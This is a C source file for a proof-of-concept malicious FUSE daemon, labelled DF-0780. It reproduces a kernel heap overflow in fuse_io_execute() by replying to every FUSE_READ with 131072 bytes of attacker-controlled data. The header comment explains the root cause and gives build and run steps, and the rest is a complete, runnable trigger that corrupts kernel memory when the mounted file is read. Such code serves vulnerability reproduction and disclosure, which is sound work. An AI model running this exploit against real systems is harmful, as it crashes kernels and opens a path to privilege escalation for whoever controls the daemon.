/*
 * DF-0780 — malicious FUSE daemon.
 *
 * Reproduces the heap buffer overflow in fuse_io_execute() (sys/vfs/fuse/
 * fuse_vnops.c:2054) triggered when a FUSE daemon returns a READ reply that
 * is LARGER than the requested size.
 *
 * The kernel sends FUSE_READ with fri->size = bp->b_bcount (= FUSE_BLKSIZE =
 * 4096).  fuse_device_write() detects the oversized reply via
 * fuse_audit_length() and sets a *local* error=EPROTO returned only to the
 * daemon's write() syscall — BUT it still completes the IPC (wakes the
 * waiter) and stores the oversized reply.  fuse_ipc_tx() then only inspects
 * ohd->error (==0) and returns success, so fuse_io_execute() does:
 *
 *     memcpy(bp->b_data, fuse_out_data(fip), fuse_out_data_size(fip));
 *
 * with fuse_out_data_size == 8192 into a 4096-byte buffer cache buffer =>
 * heap OOB write of ~4096 bytes.
 *
 * This daemon opens /dev/fuse (needs root or operator), mounts a synthetic
 * FUSE filesystem exposing one regular file "target" (inode 2, size 8192),
 * and replies to every FUSE_READ with REPLY_DATA_SIZE bytes (8192) regardless
 * of the requested size.
 *
 * Build:  cc -o evil_daemon evil_daemon.c
 * Run:    ./evil_daemon /mnt/fuse        (as root; opens /dev/fuse, mounts)
 *
 * The overflow fires when any process reads the file, e.g.
 *          cat /mnt/fuse/target
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>

/* ---- FUSE ABI (mirrors sys/vfs/fuse/fuse_abi.h, packed to 8-byte) ---- */

#define FUSE_KERNEL_VERSION       7
#define FUSE_KERNEL_MINOR_VERSION 28
#define FUSE_ROOT_ID              1

#define FUSE_LOOKUP    1
#define FUSE_FORGET    2
#define FUSE_GETATTR   3
#define FUSE_SETATTR   4
#define FUSE_READLINK  5
#define FUSE_OPEN      14
#define FUSE_READ      15
#define FUSE_WRITE     16
#define FUSE_STATFS    17
#define FUSE_RELEASE   18
#define FUSE_FSYNC     20
#define FUSE_FLUSH     25
#define FUSE_INIT      26
#define FUSE_OPENDIR   27
#define FUSE_READDIR   28
#define FUSE_RELEASEDIR 29
#define FUSE_ACCESS    34

struct fuse_in_header {
    uint32_t len;
    uint32_t opcode;
    uint64_t unique;
    uint64_t nodeid;
    uint32_t uid;
    uint32_t gid;
    uint32_t pid;
    uint32_t padding;
};

struct fuse_out_header {
    uint32_t len;
    int32_t  error;
    uint64_t unique;
};

struct fuse_init_in {
    uint32_t major, minor, max_readahead, flags;
};

struct fuse_init_out {
    uint32_t major, minor, max_readahead, flags;
    uint16_t max_background, congestion_threshold;
    uint32_t max_write, time_gran;
    uint16_t max_pages, padding;
    uint32_t unused[8];
};

struct fuse_attr {
    uint64_t ino, size, blocks, atime, mtime, ctime;
    uint32_t atimensec, mtimensec, ctimensec, mode, nlink, uid, gid, rdev, blksize, padding;
};

struct fuse_attr_out {
    uint64_t attr_valid;
    uint32_t attr_valid_nsec;
    uint32_t dummy;
    struct fuse_attr attr;
};

struct fuse_entry_out {
    uint64_t nodeid, generation, entry_valid, attr_valid;
    uint32_t entry_valid_nsec, attr_valid_nsec;
    struct fuse_attr attr;
};

struct fuse_getattr_in {
    uint32_t getattr_flags, dummy;
    uint64_t fh;
};

struct fuse_open_in {
    uint32_t flags, unused;
};
struct fuse_open_out {
    uint64_t fh;
    uint32_t open_flags, padding;
};

struct fuse_read_in {
    uint64_t fh, offset;
    uint32_t size, read_flags;
    uint64_t lock_owner;
    uint32_t flags, padding;
};

struct fuse_kstatfs {
    uint64_t blocks, bfree, bavail, files, ffree;
    uint32_t bsize, namelen, frsize, padding, spare[6];
};
struct fuse_statfs_out {
    struct fuse_kstatfs st;
};

struct fuse_access_in {
    uint32_t mask, padding;
};

/* how many bytes the daemon returns for a READ (must exceed the kernel
 * buffer bp->b_bcount to overflow).  bp->b_bcount is FUSE_BLKSIZE (4096)
 * for a single block, but cluster_readx() may aggregate up to MAXBSIZE
 * (65536), so reply with well over that to guarantee an OOB write. */
#define REPLY_DATA_SIZE 131072

/* synthetic file exposed by this daemon */
#define FILE_INO  2
#define FILE_SIZE 8192

static const char *DEV = "/dev/fuse";

/* send a reply: out_header + optional data. */
static void
reply(int fd, uint64_t unique, int error, const void *data, size_t datalen)
{
    struct fuse_out_header oh;
    struct iovec iov[2];
    oh.len     = sizeof(oh) + datalen;
    oh.error   = error;
    oh.unique  = unique;
    iov[0].iov_base = &oh;
    iov[0].iov_len  = sizeof(oh);
    iov[1].iov_base = (void *)(uintptr_t)data;
    iov[1].iov_len  = datalen;
    if (writev(fd, iov, data ? 2 : 1) < 0)
        warn("daemon writev failed");
}

/* build a fuse_attr for a given inode. */
static void
make_attr(struct fuse_attr *a, uint64_t ino, uint32_t mode, uint64_t size)
{
    memset(a, 0, sizeof(*a));
    a->ino      = ino;
    a->size     = size;
    a->blocks   = (size + 511) / 512;
    a->atime = a->mtime = a->ctime = 1000000000ULL;
    a->mode     = mode;
    a->nlink    = 1;
    a->uid      = 0;
    a->gid      = 0;
    a->blksize  = 4096;
}

static void
reply_getattr(int fd, uint64_t unique, uint64_t nodeid)
{
    struct fuse_attr_out ao;
    memset(&ao, 0, sizeof(ao));
    ao.attr_valid = 3600;
    if (nodeid == FUSE_ROOT_ID)
        make_attr(&ao.attr, FUSE_ROOT_ID, S_IFDIR | 0755, 0);
    else
        make_attr(&ao.attr, FILE_INO, S_IFREG | 0644, FILE_SIZE);
    reply(fd, unique, 0, &ao, sizeof(ao));
}

static void
reply_lookup(int fd, uint64_t unique)
{
    struct fuse_entry_out eo;
    memset(&eo, 0, sizeof(eo));
    eo.nodeid = FILE_INO;
    eo.generation = 1;
    eo.entry_valid = eo.attr_valid = 3600;
    make_attr(&eo.attr, FILE_INO, S_IFREG | 0644, FILE_SIZE);
    reply(fd, unique, 0, &eo, sizeof(eo));
}

/* the daemon serve loop. */
static void
serve(int fd)
{
    unsigned char buf[65536];
    fprintf(stderr, "[daemon] serving on fd %d\n", fd);
    for (;;) {
        ssize_t n = read(fd, buf, sizeof(buf));
        if (n < 0) {
            if (errno == EINTR) continue;
            warn("daemon read failed");
            return;
        }
        if (n == 0) {
            fprintf(stderr, "[daemon] EOF on device\n");
            return;
        }
        if ((size_t)n < sizeof(struct fuse_in_header)) {
            fprintf(stderr, "[daemon] short read %zd\n", n);
            continue;
        }
        struct fuse_in_header *ih = (struct fuse_in_header *)buf;
        void *in = buf + sizeof(*ih);
        uint64_t uniq = ih->unique;

        switch (ih->opcode) {
        case FUSE_INIT: {
            struct fuse_init_in *fi = in;
            struct fuse_init_out fo;
            memset(&fo, 0, sizeof(fo));
            fo.major = FUSE_KERNEL_VERSION;
            fo.minor = (fi->minor < 28) ? fi->minor : 28;
            fo.max_readahead = 4096;
            fo.flags = 0;
            fo.max_write = 1 << 20;
            fprintf(stderr, "[daemon] INIT major=%u minor=%u -> reply\n",
                    fi->major, fi->minor);
            reply(fd, uniq, 0, &fo, sizeof(fo));
            break;
        }
        case FUSE_STATFS: {
            struct fuse_statfs_out so;
            memset(&so, 0, sizeof(so));
            so.st.blocks = 1024; so.st.bfree = 512; so.st.bavail = 512;
            so.st.files = 16; so.st.ffree = 8;
            so.st.bsize = 4096; so.st.namelen = 255; so.st.frsize = 4096;
            reply(fd, uniq, 0, &so, sizeof(so));
            break;
        }
        case FUSE_GETATTR:
            reply_getattr(fd, uniq, ih->nodeid);
            break;
        case FUSE_LOOKUP:
            reply_lookup(fd, uniq);
            break;
        case FUSE_ACCESS:
            reply(fd, uniq, 0, NULL, 0);
            break;
        case FUSE_OPEN: {
            struct fuse_open_out oo;
            memset(&oo, 0, sizeof(oo));
            oo.fh = FILE_INO;
            reply(fd, uniq, 0, &oo, sizeof(oo));
            break;
        }
        case FUSE_READ: {
            struct fuse_read_in *ri = in;
            static unsigned char big[REPLY_DATA_SIZE];
            static int once = 0;
            memset(big, once ? 0x41 : 0x42, sizeof(big)); /* attacker bytes */
            fprintf(stderr,
                "[daemon] READ node=%lu off=%lu reqsize=%u  "
                "REPLYING %d bytes (OVERFLOW %d past reqsize buf)\n",
                (unsigned long)ih->nodeid, (unsigned long)ri->offset,
                ri->size, REPLY_DATA_SIZE,
                (int)REPLY_DATA_SIZE - (int)ri->size);
            once = !once;
            reply(fd, uniq, 0, big, sizeof(big)); /* oversized -> OOB write */
            break;
        }
        case FUSE_FORGET:
            /* no reply */
            break;
        case FUSE_FLUSH:
        case FUSE_RELEASE:
        case FUSE_RELEASEDIR:
        case FUSE_FSYNC:
        case FUSE_SETATTR:
        case FUSE_READLINK:
        case FUSE_OPENDIR:
        case FUSE_READDIR:
        case FUSE_WRITE:
            reply(fd, uniq, 0, NULL, 0);
            break;
        default:
            fprintf(stderr, "[daemon] unhandled opcode %u\n", ih->opcode);
            reply(fd, uniq, -ENOSYS, NULL, 0);
            break;
        }
    }
}

int
main(int argc, char **argv)
{
    const char *mnt;
    int fd, status;
    pid_t pid;

    if (argc != 2) {
        fprintf(stderr, "usage: %s mountpoint\n", argv[0]);
        return 2;
    }
    mnt = argv[1];
    setvbuf(stderr, NULL, _IOLBF, 0);  /* survive kernel panic in the log */

    fd = open(DEV, O_RDWR);
    if (fd < 0)
        err(1, "open %s", DEV);
    fprintf(stderr, "[main] opened %s fd=%d\n", DEV, fd);

    mkdir(mnt, 0755);

    pid = fork();
    if (pid < 0)
        err(1, "fork");
    if (pid == 0) {
        /* daemon child: serve requests (holds the fd, keeps mount alive). */
        serve(fd);
        _exit(0);
    }

    /* parent: perform the mount using the open fd.  Kernel ships FUSE_INIT
     * to the queue; the daemon child answers it; this mount(2) returns. */
    sleep(1);  /* let daemon enter read() */
    struct fuse_mount_info {
        int flags;
        int fd;
        int max_read;
        const char *subtype;
        const char *from;
    } args;
    memset(&args, 0, sizeof(args));
    args.flags = 0;
    args.fd = fd;
    args.max_read = 0;
    args.subtype = NULL;
    args.from = DEV;

    if (mount("fuse", mnt, 0, &args) < 0)
        err(1, "mount fuse on %s", mnt);
    fprintf(stderr, "[main] mounted fuse on %s (daemon pid %d)\n", mnt, pid);
    fprintf(stderr, "[main] now run: cat %s/target   (triggers overflow)\n",
            mnt);

    /* keep parent alive so the daemon child isn't reparented/killed before
     * the trigger; wait for it. */
    waitpid(pid, &status, 0);
    fprintf(stderr, "[main] daemon exited status=%d\n", status);
    return 0;
}
